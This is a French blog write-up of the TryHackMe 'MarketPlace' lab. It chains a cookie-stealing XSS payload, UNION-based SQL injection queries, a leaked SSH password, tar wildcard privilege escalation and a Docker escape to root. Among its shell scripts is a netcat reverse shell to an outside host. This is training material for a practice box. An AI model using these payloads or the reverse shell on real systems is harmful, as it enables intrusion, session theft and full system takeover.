Featured image of post [TryHackMe] - MarketPlace

[TryHackMe] - MarketPlace

#MarketPlace TryHackMe

Nous arrivons donc sur un site web, qui propose de vendre des produits, pour cela, on peut les vendre et les signaler également à l’administrateur. Il y a beaucoup de pistes à explorer comme une LFI, un contournement de token, ou encore une xss.

Après quelques tests on remarque qu’on arrive à alert() en effectuant une xss dans la description d’un produit, on va donc injecter une xss qui récupérera le cookie admin lorsqu’on lui signalera le produit.

<script>document.location=http://$ipVPN:8000?c=${document.cookie}</script>

Ce qui est particulier c’est que la box n’a pas internet faut donc lancer un serveur python depuis notre machine pour récupérer le token.

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2ODMyNzEzODh9.O_oiq-0GFzihqLxXDt71GCED_ZtFS8RXBFP50p3H1yo

On peut à présent se connecter en tant qu’admin sur le site.

On remarque que l’admin à accès à la liste d’utilisateur via les id, on va donc essayer de réaliser une injection sql. Il y a dans le backend un limit 1, il faut donc mettre un user inexistant pour que notre requête s’effectue, autrement il nous renverra l’user.

1
2
3
4
5
6
user=123 ORDER BY 4 --OK
user=123 ORDER BY 5 --Erreur donc 4 collumns
user=123 union select group_concat(table_name),2,3,4 FROM information_schema.tables WHERE table_schema=database()
user=123 union select group_concat(column_name),2,3,4 FROM information_schema.columns WHERE table_name="<TABLE_NAME>"
user=123 union SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>;
user=123 union select message_content,2,3,4 FROM messages

@b_ENXkGYUCAv3zJ

1
2
3
User Hello! An automated system has detected your SSH password is too weak and needs to be changed. 
You have been generated a new temporary password. 
Your new password is: @b_ENXkGYUCAv3zJ

On a donc une connexion ssh sur le compte de jake:@b_ENXkGYUCAv3zJ

Une fois connecté en ssh, avec la commande sudo -l , on réalise qu’on à les droits pour lancer :

1
2
User jake may run the following commands on the-marketplace:
(michael) NOPASSWD: /opt/backups/backup.sh

Pour lancer une commande en tant qu’un autre user il faut utiliser l’option sudo -u

sudo -u michael /opt/backups/backup.sh

Nous savons que la backup réalise ce script bash :

1
2
3
#!/bin/bash
echo "Backing up files...";
tar cf /opt/backups/backup.tar *

Nous pouvons donc tenter une privesc en exploitant le wildcard de tar.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
echo '#!/bin/bash 
cp /bin/bash /tmp/bash_m
chmod +s /tmp/bash_m' > shell.sh

or
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /tmp/shell.sh
or
//permet d'ecouter en netcat
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc asta.re 9001 >/tmp/f" > shell.sh

echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

Ce qui équivaut dans le backend :

1
tar cf /home/milesdyson/backups/backup.tgz --checkpoint=1 --checkpoint=action=exec=sh [shell.sh](http://shell.sh/)

En lançant /bin/bash -p on aura un bash en gardant les privilèges.

1
2
3
4
5
/bin/bash -p

or 
//si on utilise la méthode netcat dans shell.sh
nc -nvlp 9001

On est à présent connecté à l’user michael, si on check ses id on remarque qu’il est dans le groupe docker.

uid=1002(michael) gid=1002(michael) groups=1002(michael),999(docker)

On lance donc docker images ou docker image ls qui va nous permettre de lister les images docker présente sur la machine.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Il indique que le périphérique d’entrée n’est pas un TTY. Alors, obtenons un TTY en utilisant python.

python -c "import pty;pty.spawn('/bin/bash')"

Ici, nous avons créé un nouveau conteneur docker à partir de l’image alpine, monté le système de fichiers racine sur /mnt, démarré le conteneur docker en mode interactif, ce qui nous donnera un shell avec lequel travailler, changé la racine en /mnt et finalement dit de supprimer le conteneur à la sortie.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

à présent si on lance des commandes elles seront exécuté en tant que root.

https://shishirsubedi.com.np/thm/marketplace/

Licensed under CC BY-NC-SA 4.0